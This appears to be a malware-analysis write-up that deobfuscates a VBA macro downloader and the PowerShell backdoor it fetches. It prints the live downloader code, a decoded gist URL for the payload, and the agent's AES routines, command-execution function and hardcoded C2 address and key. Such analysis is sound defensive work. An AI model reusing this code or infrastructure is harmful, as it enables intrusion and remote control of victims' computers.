¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ = DateSerial(2023, 6, 6)
If ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª < ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ Then
Set ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² = CreateObject("microsoft.xmlhttp")
Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application")
³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@")
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send
´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody
If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then
Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream")
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close
End If
²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
Else
MsgBox '³P³²ÛP³xP²¿iPQEPk²x")
End If
End Sub

Manually renaming variables is painful — I only managed to partially rename function_1 before running out of steam. But I spotted this section:

Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application")
³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@")
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send
´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody
If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then
Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream")
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close
End If
²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)

After renaming variables in this section:

If var_1 < var_2 Then
Set var_3 = CreateObject("microsoft.xmlhttp")
Set var_4 = CreateObject("Shell.Application")
³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + function_1("\k¿i6Ü_~Bb@")
var_3.Open "get", function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE
var_3.send
´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = var_3.responseBody
If var_3.Status = 200 Then
Set var_4 = CreateObject("adodb.stream")
var_4.Open
var_4.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
var_4.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦
var_4.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡
var_4.Close
End If
var_4.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)
Else
MsgBox '³P³²ÛP³xP²¿iPQEPk²x")
End If

This code likely fetches a web page. function_1 probably decrypts those obfuscated strings into a URL. Rewrite function_1 in Python to verify:

def function_1(var1):
var2 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
var3 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
var6 = ""
for char in var1:
var4 = var2.find(char)
if var4 > -1:
var5 = var3[var4]
var6 += var5
else:
var6 += char
return var6
print(function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"))

Looks correct :))

'https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1'

This URL hosts a .ps1 file. Downloading and deobfuscating it reveals:

Terminal window
${8r`T3WA} = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','.s','p') ;.('SV') ("{0}{1}"-f '72','j5O') ( [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0}"-f 'Y.','toGRapH','p'),'ng','aD') ) ; ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT') ; ${H`LvW1} = [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'),'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX'); .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92')) ( [Type]("{1}{2}{0}" -F ("{1}{0}{2}"-f 'NEt.dn','eM.','S'),'Sys','t')) ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;
function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) {
${AJuJ`V`RAZ`99} = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed','ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae'))
${AJUjvr`AZ`99}."Mo`de" = ( .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI')) ("8rt"+"3Wa") -Value )::"c`Bc"
${aJuj`V`RAZ99}."PA`d`dInG" = ( .("{0}{1}"-f 'Di','r') ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab') )."VA`LUe"::"ze`Ros"
${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128
${Aju`Jv`RAz`99}."keysI`ze" = 256
if (${5`TM`RWPluy}) {
if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) {
${a`j`U`jvRaZ99}."Iv" = (&("{1}{0}"-f'r','di') ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`Pl`Uy})
}
else {
${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy}
}
}
if (${Vx`ZtM`FF}) {
if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) {
${ajU`j`VraZ99}."K`ey" = ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`Ke"(${vx`z`TmFF})
}
else {
${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff}
}
}
${aJUjvRA`Z`99}
}
function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) {
${B`y`TES} = ( .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v') (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`FpdQRF99})
${ajujVR`AZ`99} = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff}
${qD`IqL`GaQ99} = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"()
${lw`i`hYmIF99} = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh");
[byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99}
${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"()
${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99})
}
function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) {
${bYT`Es} = (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR') ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk`jRx`qcF99})
${5t`MR`WpLuY} = ${B`Y`Tes}[0..15]
${aJu`JVra`z99} = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY}
${MNDm`WYnB`99} = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"();
${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16);
${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"()
${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0)
}
function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){
${Cw`zVY`VJ} = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','te'),'S',("{0}{2}{1}"-f'm.Di','st','agno'))
${Cw`ZVy`Vj}."FIlena`me" = ${DFjZ1`co}
${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR" = ${T`Rue}
${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue}
${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te" = ${F`ALsE}
${c`wzvy`VJ}."aRg`UmENtS" = ${yO8`x`m5}
${p} = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1}" -f 'ces','s'),'S')
${P}."s`T`ArTiN`FO" = ${C`W`zvYVj}
${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou')
${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"()
${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"()
${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"()
${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99")
${K`cnJcQ`Dl}
}
${FZvyCr} = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19'))
${t`wFTrI} = ("{0}{1}"-f'7','331')
${VxzTmff} = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42')))
${n} = 3
${C`w`j2TWh} = ""
${yC`RU`Tw} = ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"()
${F`N`FFGXDzj} = "p"
${D`FctD`FM} = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg")
${kV`QBXbuR} = @{
("{0}{1}"-f 'n','ame') = "$YCRUTw"
("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ"
}
